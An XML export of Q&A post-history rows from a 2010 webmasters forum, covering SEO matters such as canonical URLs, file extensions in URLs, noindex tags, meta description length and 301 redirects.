  <row Id="6025" PostHistoryTypeId="2" PostId="3075" RevisionGUID="ded4b2be-b447-4b15-a882-ebdc78fb28ed" CreationDate="2010-09-17T07:09:47.443" UserId="1160" Text="If you are using Apache, I would strongly recommend using [mod_rewrite][1] so that it will handle canonical URLs by simply serving the page requested rather than sending a redirect. &#xD;&#xA;&#xD;&#xA;Your root problem really is the fact you are using URLs throughout your website that require UTF-8 encoding. While it may not be entirely as pretty looking original to limit your character set, it really does help down the road once other sites start linking to yours. Other sites are most likely going to end up re-encoding the URL and before you know it search engines will be trying to access the canonized link. &#xD;&#xA;&#xD;&#xA;My best solution is to change the link to one without UTF-8 characters, then send a `410 GONE` or `404 NOT FOUND` response and add a 5 second redirect in the header to the corrected URL. Wait a couple of weeks and it will correct itself.&#xD;&#xA;&#xD;&#xA;Of course, if the page is older (more than 1 year) this may never correct. &#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html" />
  <row Id="6026" PostHistoryTypeId="5" PostId="3075" RevisionGUID="bd147125-e10c-4f80-ae1b-3da91dd5b269" CreationDate="2010-09-17T07:18:31.057" UserId="1160" Comment="added 175 characters in body" Text="If you are using Apache, I would strongly recommend using [mod_rewrite][1] so that it will handle canonical URLs by simply serving the page requested rather than sending a redirect. &#xD;&#xA;&#xD;&#xA;Your root problem really is the fact you are using URLs throughout your website that require UTF-8 encoding. While it may not be entirely as pretty looking original to limit your character set, it really does help down the road once other sites start linking to yours. Other sites are most likely going to end up re-encoding the URL and before you know it search engines will be trying to access the canonized link. &#xD;&#xA;&#xD;&#xA;My best solution is to change the link to one without UTF-8 characters, then send a `410 GONE` or `404 NOT FOUND` response and add a 5 second redirect in the header to the corrected URL. Wait a couple of weeks and it will correct itself.&#xD;&#xA;&#xD;&#xA;Of course, if the page is older (more than 1 year) this may never correct. &#xD;&#xA;&#xD;&#xA;(edit tidbit: `410 GONE` seemed to work best on URLs that absolutely should have never been spidered. For example temporary files and URLs with session data in the $_GET.)&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html" />
  <row Id="6028" PostHistoryTypeId="2" PostId="3077" RevisionGUID="693a51ef-025b-4a8c-81f2-5278f0511c83" CreationDate="2010-09-17T07:44:39.480" UserId="1160" Text="Suggestion:&#xD;&#xA;&#xD;&#xA;Only use analytics for conversion-related pages and metrics. For example, tracking signup conversion %, actual users referred from adwords hits, non-members, and referrals:from:other:sites. (the last can help PageRank, I have no clue why...)&#xD;&#xA;&#xD;&#xA;Perhaps:&#xD;&#xA;&#xD;&#xA;What you are really looking at is a two-part solution. Rather than entirely replacing google analytics, you reduce the volume by the method above and also either use another 3rd-party analytics tool or create a server-sided one. &#xD;&#xA;&#xD;&#xA;It really is a matter of what analytic data is important to you, and ***do you really need Google to help you with that***?" />
  <row Id="6029" PostHistoryTypeId="2" PostId="3078" RevisionGUID="b0292235-7031-4996-946c-564bd4b516b0" CreationDate="2010-09-17T08:17:44.373" UserId="1905" Text="i read that i should use `NoIndex` tag for pages transitional pages like index, pagination or tag pages. isit true? i have a tumblr blog i am considering putting `NoIndex` on the index, search, tag, pagination, date pages. &#xD;&#xA;&#xD;&#xA;is `NoIndex` enough or are there other methods. 1 question tho, should the index page of a site be marked as `NoFollow`? that dont really sound too good?&#xD;&#xA;&#xD;&#xA;what are the pages you will put `NoIndex` on?" />
  <row Id="6030" PostHistoryTypeId="1" PostId="3078" RevisionGUID="b0292235-7031-4996-946c-564bd4b516b0" CreationDate="2010-09-17T08:17:44.373" UserId="1905" Text="SEO: Duplicate content caused by pagination/tag/index pages" />
  <row Id="6031" PostHistoryTypeId="3" PostId="3078" RevisionGUID="b0292235-7031-4996-946c-564bd4b516b0" CreationDate="2010-09-17T08:17:44.373" UserId="1905" Text="&lt;seo&gt;" />
  <row Id="6032" PostHistoryTypeId="2" PostId="3079" RevisionGUID="6f7e36d0-77a9-4853-bc78-cdebc5b2f4e3" CreationDate="2010-09-17T08:28:09.317" UserId="1160" Text="I've always wondered about this and never found a good solution.&#xD;&#xA;&#xD;&#xA;But [this question][1] reminded me of it.&#xD;&#xA;&#xD;&#xA;When I have a URL on my website it can be displayed and accessed any of the following ways:&#xD;&#xA;&#xD;&#xA;    http://www.somesite.com/subdirectory&#xD;&#xA;    http://www.somesite.com/subdirectory/&#xD;&#xA;    http://www.somesite.com/subdirectory/index.htm&#xD;&#xA;    http://www.somesite.com/subdirectory/index.html&#xD;&#xA;    http://www.somesite.com/subdirectory/index.php&#xD;&#xA;    http://www.somesite.com/subdirectory/index.asp&#xD;&#xA;    http://www.somesite.com/subdirectory/some-relevant-keywords&#xD;&#xA;    http://www.somesite.com/subdirectory/some-relevant-keywords.htm&#xD;&#xA;    http://www.somesite.com/subdirectory/index.php?page=some-relevant-keywords&#xD;&#xA;    http://www.somesite.com/subdirectory/?page=some-relevant-keywords&#xD;&#xA;    http://www.somesite.com/subdirectory/?page=some-relevant-keywords&amp;even=more-keywords&#xD;&#xA;   &#xD;&#xA;etc... &#xD;&#xA;&#xD;&#xA;Now, I can understand the merits of adding keywords in the URL. Even the most basic SEO guide will mention to do just that. ... but for the sake of sanity, clarity, ease of reading, ease of use, and so on, **including web compliance** ...&#xD;&#xA;&#xD;&#xA;Is it ***preferred*** to have a file-extension or not?&#xD;&#xA;&#xD;&#xA;Really, deep down my logic tells me: yes, it should. The reason being is this stems back to the days of the past when the internet was mostly USENET, FIDONET, FTP and GOPHER. &#xD;&#xA;&#xD;&#xA;See, if a URL has no *filename*, then it normally is considered a *directory*. This is where index.htm came about, because this by default lists the directory if no index file is found. However, soon enough, web programmers started overriding this and using index.htm to actually serve the content of that web directory *as a page*. The main difference, was markup language was added in, and this was parsed in the browser. With this markup language, the `Content-Type:text/html;` tag in the response header became the indicator to what filetype it was **for any file**. HTML seems to be the only &quot;filetype&quot; that just doesn't have consistently named extensions, except for when they are saved.&#xD;&#xA;&#xD;&#xA;Unfortunately, once web pages became the main thing, it became a security error to actually display the directory contents, so everything stayed hidden with only the actual URL content being displayed. &#xD;&#xA;&#xD;&#xA;Not to mention the cross-platform file-naming wars.. windows based require a 3 or less digit extension, and unix/mac can have more. So should it be `.HTM` or `.HTML` or `NONE` and let the platform decide?&#xD;&#xA;&#xD;&#xA;So in essence, I guess what I am trying to figure out is *beyond SEO* and dealing more with aesthetics and web compliance. &#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/q/374/1160" />
  <row Id="6033" PostHistoryTypeId="1" PostId="3079" RevisionGUID="6f7e36d0-77a9-4853-bc78-cdebc5b2f4e3" CreationDate="2010-09-17T08:28:09.317" UserId="1160" Text="Should I use a file extension or not?" />
  <row Id="6034" PostHistoryTypeId="3" PostId="3079" RevisionGUID="6f7e36d0-77a9-4853-bc78-cdebc5b2f4e3" CreationDate="2010-09-17T08:28:09.317" UserId="1160" Text="&lt;url&gt;&lt;url-format&gt;" />
  <row Id="6035" PostHistoryTypeId="2" PostId="3080" RevisionGUID="0bf7c87d-7a28-4de5-b8ad-d0338e557667" CreationDate="2010-09-17T08:28:44.830" UserId="1905" Text="i am trying to fill up title and meta description for my tumblr blog. the way i will do that is via the themes. for the title, it isit too much an issue i can just get the title for the post tho some post types do not have titles. the main question is about the description. i am thinking of using the start of the body content. for now, there is no way to limit the length of body content. i wonder if its ok to have the whole body in the description? i have contacted tumblr support to suggest that they have a way of creating limiting text length in their template tags." />
  <row Id="6036" PostHistoryTypeId="1" PostId="3080" RevisionGUID="0bf7c87d-7a28-4de5-b8ad-d0338e557667" CreationDate="2010-09-17T08:28:44.830" UserId="1905" Text="SEO: Is there a limit to how long titles/description should be?" />
  <row Id="6037" PostHistoryTypeId="3" PostId="3080" RevisionGUID="0bf7c87d-7a28-4de5-b8ad-d0338e557667" CreationDate="2010-09-17T08:28:44.830" UserId="1905" Text="&lt;seo&gt;" />
  <row Id="6038" PostHistoryTypeId="2" PostId="3081" RevisionGUID="bf9210cc-00e2-4787-90f5-ddc0574fc876" CreationDate="2010-09-17T08:45:40.537" UserId="1160" Text="There is nothing that can stop every robot from spidering ANY page on your site, unless it is **forcibly prevented**. &#xD;&#xA;&#xD;&#xA;That being said, you can always **encourage** the robot to follow and index what you want/don't want. Some of these methods include:&#xD;&#xA;&#xD;&#xA; - Creating a `robots.txt` file and placing it in your root directory.&#xD;&#xA; - Setting all the `response header` cache options properly for each resource. &#xD;&#xA; - Creating a `sitemap.xml` document with only the pages you want to have spidered.&#xD;&#xA; - Consistent capitalization. Having everything lowercase many times will prevent dupes involving upper/lowercase. &#xD;&#xA; - Avoid passing `$_GET` variables in the URL, unless it truely creates unique data. (such as `www.abc.com/index.php?session=21389271893219` use `$_POST` for this instead.&#xD;&#xA; - **Not** having duplicate content. (try mod_rewrite and/or redirection to prevent this)&#xD;&#xA; - Using bot detection to send a `404 NOT FOUND` to those pages and `200` or redirect to live users. (`301`s are debatable)&#xD;&#xA; - Using Google webmaster tools to prevent the pages from being displayed in search results. (although this is usually a last-resort solution.)&#xD;&#xA; - Avoid UTF-8 encoded/encodable URLs, they will canonize.&#xD;&#xA; - Use proper session management to prevent secure information from being accessed directly. &#xD;&#xA;&#xD;&#xA;There are more, but this works for 99% of most everything. The trick is good initial URL directory design." />
  <row Id="6039" PostHistoryTypeId="2" PostId="3082" RevisionGUID="a3e79c83-7f68-487a-a3d5-af0ab12e5b3a" CreationDate="2010-09-17T09:33:08.160" UserId="1426" Text="I would say *don't* include the file extension if the software you're using allows you to omit it. So from your list of examples, my preference would be:&#xD;&#xA;&#xD;&#xA;    http://www.somesite.com/subdirectory/some-relevant-keywords&#xD;&#xA;&#xD;&#xA;Browsers don't care whether something is a directory or not on the site, or whether it's a HTML file, a .asp file or whatever - they simply make a HTTP request and get a HTTP response. So if the extension is superfluous, drop it.&#xD;&#xA;&#xD;&#xA;This also has the added benefit of making your URLs more concise (and easier to read out on the phone - &quot;example dot com slash products&quot; is much nicer sounding than &quot;example dot com slash products dot h t m l&quot;), and making it easier to switch technology in the future (as no URL change would be required)." />
  <row Id="6040" PostHistoryTypeId="5" PostId="3080" RevisionGUID="f38f2715-5ca6-4862-8b77-f7644fc96bc2" CreationDate="2010-09-17T10:22:54.400" UserId="480" Comment="improved formatting and grammar" Text="I am trying to fill up title and meta description for my [Tumblr][1] blog.&#xD;&#xA;&#xD;&#xA;The way I will do that is via the themes.&#xD;&#xA;&#xD;&#xA;For the title, it isn't too much of an issue, I can just get the title for the post although some post types do not have titles.&#xD;&#xA;&#xD;&#xA;The **main question is about the description**. I am thinking of **using the start of the body content**. For now, there is no way to limit the length of body content. I wonder **if its OK to have the whole body in the description**?&#xD;&#xA;&#xD;&#xA;I have contacted Tumblr support to suggest that they have a way of creating limiting text length in their template tags.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tumblr.com/" />
  <row Id="6041" PostHistoryTypeId="4" PostId="3080" RevisionGUID="f38f2715-5ca6-4862-8b77-f7644fc96bc2" CreationDate="2010-09-17T10:22:54.400" UserId="480" Comment="improved formatting and grammar" Text="SEO: Is there a limit to how long titles/descriptions should be?" />
  <row Id="6042" PostHistoryTypeId="6" PostId="3080" RevisionGUID="f38f2715-5ca6-4862-8b77-f7644fc96bc2" CreationDate="2010-09-17T10:22:54.400" UserId="480" Comment="improved formatting and grammar" Text="&lt;seo&gt;&lt;title&gt;&lt;meta-description&gt;" />
  <row Id="6043" PostHistoryTypeId="2" PostId="3083" RevisionGUID="aa4eff9e-a81f-41a5-8dc9-7ecda812db22" CreationDate="2010-09-17T10:24:55.423" UserId="1988" Text="I am sorry I cannot answer your question directly, but one thing you need to consider is the security flaws this **pre-alpha** release of Diaspora* has:&#xD;&#xA;&#xD;&#xA;http://www.theregister.co.uk/2010/09/16/diaspora_pre_alpha_landmines/" />
  <row Id="6044" PostHistoryTypeId="2" PostId="3084" RevisionGUID="e48f8ad6-296e-48ee-bd97-dcc12c0c6f06" CreationDate="2010-09-17T10:28:43.950" UserId="480" Text="Not specific to Tumblr but using a theme to insert META information is generally a bad idea. This should be handled on a per page (not per site basis) via the CMS. If however the only way to insert HTML tags into your blog is via a theme then yes this does make sense.&#xD;&#xA;&#xD;&#xA;Depending on your crawler audience (Google, RDF readers, etc) the length of the description can be varied, however generally for a blog you'll want:&#xD;&#xA;&#xD;&#xA;* Title: 60 characters max&#xD;&#xA;* META-Description: the same as the RSS/Atom summary and around 160 characters max (some say 100) - not a duplicate or snippet of your body content&#xD;&#xA;&#xD;&#xA;Depending on the search engine and results presentation the length can vary.&#xD;&#xA;&#xD;&#xA;If you are wanting to limit the CMS based on some &quot;best practice&quot; beware that there may be exceptions where the rules need to be broken. Warn the user when the content is too long, but do not block it as there may be method in the madness." />
  <row Id="6045" PostHistoryTypeId="2" PostId="3085" RevisionGUID="7428fcc9-3b59-4e6d-b417-f189257c94cc" CreationDate="2010-09-17T10:45:03.760" UserId="480" Text="Use a .extension where there is more than one representation:&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory` - this can be your auto-negotiation version that uses Canonical META tags to point to the actual representation&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/` - it is always worth supporting trailing slashes on any URL but using Canonical META tags (not redirects as this is an unnecessary slow down) to point to the correct URL&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.htm` and `http://www.somesite.com/subdirectory/some-relevant-keywords.htm` - the three character extension limit doesn't apply to HTTP (only the underlying FileSystem/OS) so the client can save this as index.html or a.a if they wanted to, whilst still being able to access it&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.html` - if you serve a .atom, a .xml or similar version then it makes sense to also honour the .html version (and Canonically link to it via META tags on the auto-negotiated version) - use HTTP Content-Location headers to point to the auto-negotiation version though - remember you can also go multi-lingual (.en, .es, etc...) or multi-charset (.utf8, .utf16, etc...)&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.php` and `http://www.somesite.com/subdirectory/index.asp` - unless you are serving the source code then these make no sense to support&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/some-relevant-keywords` - SEO is a constantly changing art and if this works for you then great&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.php?page=some-relevant-keywords`, &#xD;&#xA;`http://www.somesite.com/subdirectory/?page=some-relevant-keywords` and&#xD;&#xA;`http://www.somesite.com/subdirectory/?page=some-relevant-keywords&amp;even=more-keywords` - if there are an infinite number of ways to manipulate the content then this is great - but usually pages deserve their own URL not a query string and these type of URLs are to be avoided (try getting someone computer illiterate to type one of those in)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6046" PostHistoryTypeId="5" PostId="3085" RevisionGUID="70ec28fd-f1bf-49e1-befe-dc7b219962e6" CreationDate="2010-09-17T11:07:15.340" UserId="480" Comment="added 153 characters in body" Text="Use a .extension where there is more than one representation or where the client software is absolutely stupid and refuses to accept the Content-Type alone (QuickTime, RealPlayer, Outlook, etc I am looking at you):&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory` - this can be your auto-negotiation version that uses Canonical META tags to point to the actual representation&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/` - it is always worth supporting trailing slashes on any URL but using Canonical META tags (not redirects as this is an unnecessary slow down) to point to the correct URL&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.htm` and `http://www.somesite.com/subdirectory/some-relevant-keywords.htm` - the three character extension limit doesn't apply to HTTP (only the underlying FileSystem/OS) so the client can save this as index.html or a.a if they wanted to, whilst still being able to access it&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.html` - if you serve a .atom, a .xml or similar version then it makes sense to also honour the .html version (and Canonically link to it via META tags on the auto-negotiated version) - use HTTP Content-Location headers to point to the auto-negotiation version though - remember you can also go multi-lingual (.en, .es, etc...) or multi-charset (.utf8, .utf16, etc...)&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.php` and `http://www.somesite.com/subdirectory/index.asp` - unless you are serving the source code then these make no sense to support&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/some-relevant-keywords` - SEO is a constantly changing art and if this works for you then great&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.php?page=some-relevant-keywords`, &#xD;&#xA;`http://www.somesite.com/subdirectory/?page=some-relevant-keywords` and&#xD;&#xA;`http://www.somesite.com/subdirectory/?page=some-relevant-keywords&amp;even=more-keywords` - if there are an infinite number of ways to manipulate the content then this is great - but usually pages deserve their own URL not a query string and these type of URLs are to be avoided (try getting someone computer illiterate to type one of those in)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6050" PostHistoryTypeId="2" PostId="3087" RevisionGUID="39639ae3-6d34-4847-8d45-1b9dbcd493a5" CreationDate="2010-09-17T11:54:35.193" UserId="70" Text="You are likely aware of this, just in case: your sites are at least considered part of the &quot;Stack Overflow Network&quot; already, if looked at individually (type e.g. *stackexchange.com* in the search box and select one):  &#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;This doesn't explain why there are only 3 sites listed still if looked at from the &quot;Stack Overflow Network&quot; perspective indeed, but it makes your assumption regarding traffic numbers (or a minimum amount of data points over time) somewhat more likely:  &#xD;&#xA;&#xD;&#xA;While you expect to be beyond the *30 days worth of data* mentioned in the [Publisher FAQ][2] already, their might be some delays or timespan boundaries involved still - given your networks rank I'd be surprised if their support wouldn't answer your respective inquiry ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/QlZrx.png&#xD;&#xA;  [2]: http://www.quantcast.com/display-proxy/display/publisher/Using+Quantcast+to+Report+Audience+Data#UsingQuantcasttoReportAudienceData-FAQ5.2" />
  <row Id="6051" PostHistoryTypeId="2" PostId="3088" RevisionGUID="3045b7e0-e034-43fa-8543-5beba1542701" CreationDate="2010-09-17T11:57:01.413" UserId="1253" Text="If multiple page URLs produce the same content then that's exactly what [`&lt;link rel=&quot;canonical&quot;&gt;`][1] is for. It's for telling the search engines that the content of multiple URLs are the same and to use that specific one as the primary one. That avoids duplication issues altogether and is very simple to do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="6052" PostHistoryTypeId="4" PostId="3064" RevisionGUID="15181b01-3c32-4ce7-af1b-bea759a08793" CreationDate="2010-09-17T12:00:17.847" UserDisplayName="delete" Comment="edited title" Text="What requirements are necessary for a webhoster to host Diaspora*?" />
  <row Id="6053" PostHistoryTypeId="2" PostId="3089" RevisionGUID="512cd1db-dd68-4e5e-a399-6aca5e036595" CreationDate="2010-09-17T12:00:40.940" UserId="1253" Text="[Cool URIs don't change][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="6054" PostHistoryTypeId="5" PostId="3089" RevisionGUID="5c5cb8b4-8dc7-4197-8aa4-7c46cf4f292e" CreationDate="2010-09-17T12:12:20.863" UserId="1253" Comment="added 68 characters in body" Text="[Cool URIs don't change][1]. (Go to to the section titled &quot;So what should I do? Designing URIs&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="6055" PostHistoryTypeId="16" PostId="1782" RevisionGUID="141e9119-07c2-4446-9489-23a2ae4f8cdb" CreationDate="2010-09-17T12:16:13.773" UserId="590" />
  <row Id="6057" PostHistoryTypeId="5" PostId="3087" RevisionGUID="126c3a6c-47c9-42ad-ac8d-6bebb1b1113b" CreationDate="2010-09-17T12:56:53.920" UserId="70" Comment="Updated regarding former assumptions and an alternative explanation." Text="**Update:**&#xD;&#xA;&#xD;&#xA;Just realized that e.g. Area 51 seems quantified since June already, plus Quantcast is listing subdomains within networks with data less than 30 days anyway, so this really shouldn't be an issue. Digging around a bit more led me to the following *best guess*:&#xD;&#xA;&#xD;&#xA;If you introspect their showcase site [gawker.com][1] you'll find that its parent [Gawker Media Network][2] is comprised of [9 sites][3] only, despite these having a multitude of subdomains each.&#xD;&#xA;&#xD;&#xA;While this could be intentional from Gawker, it might also be that Quantcast simply differentiates domains vs. subdomains like so, implying that all the new Stack Exchange sites would only show up as a subdomain of their 'parent site' stackexchange.com (which you aren't quantifying yet), until they get out of beta and a dedicated domain therefore (which might pose another challenge analysis wise).&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You are likely aware of this, just in case: your sites are at least considered part of the &quot;Stack Overflow Network&quot; already, if looked at individually (type e.g. *stackexchange.com* in the search box and select one):  &#xD;&#xA;&#xD;&#xA;![alt text][4]&#xD;&#xA;&#xD;&#xA;This doesn't explain why there are only 3 sites listed still if looked at from the &quot;Stack Overflow Network&quot; perspective indeed, &lt;strike&gt;but it makes your assumption regarding traffic numbers (or a minimum amount of data points over time) somewhat more likely:  &#xD;&#xA;&#xD;&#xA;While you expect to be beyond the *30 days worth of data* mentioned in the [Publisher FAQ][5] already, their might be some delays or timespan boundaries involved still&lt;/strike&gt; - given your networks rank I'd be surprised if their support wouldn't answer your respective inquiry ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quantcast.com/gawker.com&#xD;&#xA;  [2]: http://www.quantcast.com/p-d4P3FpSypJrlA&#xD;&#xA;  [3]: http://www.quantcast.com/p-d4P3FpSypJrlA/traffic/sites&#xD;&#xA;  [4]: http://i.stack.imgur.com/QlZrx.png&#xD;&#xA;  [5]: http://www.quantcast.com/display-proxy/display/publisher/Using+Quantcast+to+Report+Audience+Data#UsingQuantcasttoReportAudienceData-FAQ5.2" />
  <row Id="6058" PostHistoryTypeId="2" PostId="3091" RevisionGUID="26aef22a-1fc3-46ae-9548-769169bccf39" CreationDate="2010-09-17T12:59:12.467" UserId="1905" Text="from the book art of seo, &#xD;&#xA;&#xD;&#xA;&gt; 301s carry cross-domain functionality,&#xD;&#xA;&gt; meaning you can redirect a page at&#xD;&#xA;&gt; Domain1.com to Domain2.com and carry&#xD;&#xA;&gt; over those search engine metrics. This&#xD;&#xA;&gt; is not the case with the canonical URL&#xD;&#xA;&gt; tag, which operates exclusively on a&#xD;&#xA;&gt; single root domain (it will carry over&#xD;&#xA;&gt; across subfolders and subdomains).&#xD;&#xA;&#xD;&#xA;what does the 1st line mean? say if i move domains, i can 301 the old domain to the new and have the same search engine ranking?&#xD;&#xA;&#xD;&#xA;i dont really get how the cononical tag fits into the picture. can someone explain?" />
  <row Id="6059" PostHistoryTypeId="1" PostId="3091" RevisionGUID="26aef22a-1fc3-46ae-9548-769169bccf39" CreationDate="2010-09-17T12:59:12.467" UserId="1905" Text="SEO: 301 redirects and canonical tag" />
  <row Id="6060" PostHistoryTypeId="3" PostId="3091" RevisionGUID="26aef22a-1fc3-46ae-9548-769169bccf39" CreationDate="2010-09-17T12:59:12.467" UserId="1905" Text="&lt;seo&gt;" />
  <row Id="6061" PostHistoryTypeId="5" PostId="3087" RevisionGUID="b2c1c0c8-c8c0-486d-8c46-7804e62733f9" CreationDate="2010-09-17T13:02:33.237" UserId="70" Comment="added 332 characters in body; deleted 14 characters in body; deleted 51 characters in body" Text="**Update:**&#xD;&#xA;&#xD;&#xA;Just realized that e.g. Area 51 seems quantified since June already, plus Quantcast is listing subdomains within networks with data less than 30 days anyway, so this really shouldn't be an issue. Digging around a bit more led me to the following *best guess*:&#xD;&#xA;&#xD;&#xA;If you introspect their showcase site [gawker.com][1] you'll find that its parent [Gawker Media Network][2] is comprised of [9 sites][3] only, despite these having a multitude of subdomains each.&#xD;&#xA;&#xD;&#xA;While this could be intentional from Gawker, it might also be that Quantcast simply differentiates domains vs. subdomains like so, implying that all the new Stack Exchange sites would only show up as a subdomain of their 'parent site' stackexchange.com (which you aren't quantifying yet), until they get out of beta and a dedicated domain therefore.&#xD;&#xA;&#xD;&#xA;Consequently you could start to quantify stackexchange.com as well (which is probably interesting anyway given its increasing exposure), likely all the new Stack Exchange sites are going to show up as subdomains there automatically. Whether this is the correct semantic analysis wise is another question of course.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You are likely aware of this, just in case: your sites are at least considered part of the &quot;Stack Overflow Network&quot; already, if looked at individually (type e.g. *stackexchange.com* in the search box and select one):  &#xD;&#xA;&#xD;&#xA;![alt text][4]&#xD;&#xA;&#xD;&#xA;This doesn't explain why there are only 3 sites listed still if looked at from the &quot;Stack Overflow Network&quot; perspective indeed, &lt;strike&gt;but it makes your assumption regarding traffic numbers (or a minimum amount of data points over time) somewhat more likely:  &#xD;&#xA;&#xD;&#xA;While you expect to be beyond the *30 days worth of data* mentioned in the [Publisher FAQ][5] already, their might be some delays or timespan boundaries involved still&lt;/strike&gt; - given your networks rank I'd be surprised if their support wouldn't answer your respective inquiry ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quantcast.com/gawker.com&#xD;&#xA;  [2]: http://www.quantcast.com/p-d4P3FpSypJrlA&#xD;&#xA;  [3]: http://www.quantcast.com/p-d4P3FpSypJrlA/traffic/sites&#xD;&#xA;  [4]: http://i.stack.imgur.com/QlZrx.png&#xD;&#xA;  [5]: http://www.quantcast.com/display-proxy/display/publisher/Using+Quantcast+to+Report+Audience+Data#UsingQuantcasttoReportAudienceData-FAQ5.2" />
  <row Id="6062" PostHistoryTypeId="2" PostId="3092" RevisionGUID="14a27b0e-a1b7-47d6-9cbd-2b69519caaf2" CreationDate="2010-09-17T13:14:22.087" UserId="1253" Text="301 redirects and canonical links are two very different things.&#xD;&#xA;&#xD;&#xA;A 301 redirect tells the search engine that the page has permanently moved to a new URL and to forward all links, etc, to the new URL. Basically it's a change of address card for web pages. If you change the URL of a page, including the domain name, you would need to do a 301 redirect so the search engines, and users, would find the new page and associate it with the old one.&#xD;&#xA;&#xD;&#xA;A canonical link is when you have one page that can be pulled up using more then one URL. For example http://www.example.com/index.php and http://www.example.com/index.php?ref=jc pull up the exact same content. To the search engines these are two different pages and thus have duplicate content. This usually results in one of the pages being dropped from the search engine's index. Unfortunately you cannot control which one they drop unless you use canonical links. They tell the search engines which page is the &quot;main page&quot; and to use that one in the case of duplication. " />
  <row Id="6063" PostHistoryTypeId="2" PostId="3093" RevisionGUID="f3452837-2f6c-4454-8dfe-ad7c0b87c22b" CreationDate="2010-09-17T13:39:05.317" UserId="1857" Text="&gt; Is it preferred to have a file-extension or not?&#xD;&#xA;&#xD;&#xA;There is nothing in the RFCs to mandate having file-extensions, neither is there anything requiring you to leave them out. It's a choice you make.&#xD;&#xA;&#xD;&#xA;Conformant HTTP URI's don't need file extensions for anything. There is a rich set of HTTP headers (especially the MIME type) to handle everything that file-extensions are otherwise used for.&#xD;&#xA;&#xD;&#xA;That said, most browsers today do in fact rely on a [combination of MIME type, extension, and binary 'fingerprint'][1] of the first bytes to determine content type. This can sometimes [give surprising results][2], and so it's important that we webmasters set the right headers (and possibly [disable content type sniffing][3] if we are 101% sure our headers are correct).&#xD;&#xA;&#xD;&#xA;There is one situation where file extensions are useful: If the end user saves content from your site to his local computer for later use. Theoretically a 'smart' browser should ensure that saved content works for the local computer type; but in practice you can help everyone by serving up content with industry-standard extensions like .jpg , .mp4 , .htm / .html .&#xD;&#xA;&#xD;&#xA;**My personal choice has become:**&#xD;&#xA;&#xD;&#xA; - When HTML is generated dynamically, I do not add a 'fake' extensions to mimic a directory and file structure that isn't actually there. I normalize and standardize URLs for SEO reasons. I generally prefer having a trailing slash on the last leaf of the URL, i.e. `http://example.org/first/second/` , but that's a matter of taste. In case you're wondering how that is consistent with the &quot;user downloads content to local PC&quot; scenario from above, most browsers are in fact smart enough to add a .htm / .html extension for HTML pages.&#xD;&#xA;&#xD;&#xA; - When we are in fact talking about actual files that are uploaded to a harddisk somewhere, then I keep the 'normal' file extension for the type. So .css / .js / .exe / .mp4 etc are used.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/ms775147%28VS.85%29.aspx&#xD;&#xA;  [2]: http://www.h-online.com/security/features/Risky-MIME-sniffing-in-Internet-Explorer-746229.html&#xD;&#xA;  [3]: http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx" />
  <row Id="6064" PostHistoryTypeId="5" PostId="3093" RevisionGUID="df6d3829-c22f-4855-b00c-44fcddc46de6" CreationDate="2010-09-17T13:48:54.410" UserId="1857" Comment="added 243 characters in body" Text="&gt; Is it preferred to have a file-extension or not?&#xD;&#xA;&#xD;&#xA;**There is nothing in the RFCs to mandate having file-extensions, neither is there anything requiring you to leave them out. It's a choice you make.**&#xD;&#xA;&#xD;&#xA;Conformant HTTP URI's don't need file extensions for anything. There is a rich set of HTTP headers (especially the MIME type) to handle everything that file-extensions are otherwise used for.&#xD;&#xA;&#xD;&#xA;That said, most browsers today do in fact rely on a [combination of MIME type, extension, and binary 'fingerprint'][1] of the first bytes to determine content type. This can sometimes [give surprising results][2], and so it's important that we webmasters set the right headers (and possibly [disable content type sniffing][3] if we are 101% sure our headers are correct).&#xD;&#xA;&#xD;&#xA;**There is one situation where file extensions are useful:** If the end user saves content from your site to his local computer for later use. Theoretically a 'smart' browser should ensure that saved content works for the local computer type; but in practice you can help everyone by serving up content with industry-standard extensions like .jpg , .mp4 , .css etc. In my experience, browser do handle HTML properly. You don't need a .htm / .html extension on HTML, the browser will handle this specific content type correctly.&#xD;&#xA;&#xD;&#xA;**Security:** One could argue that there is a security benefit in hiding which platform you're using (.php / .asp etc). 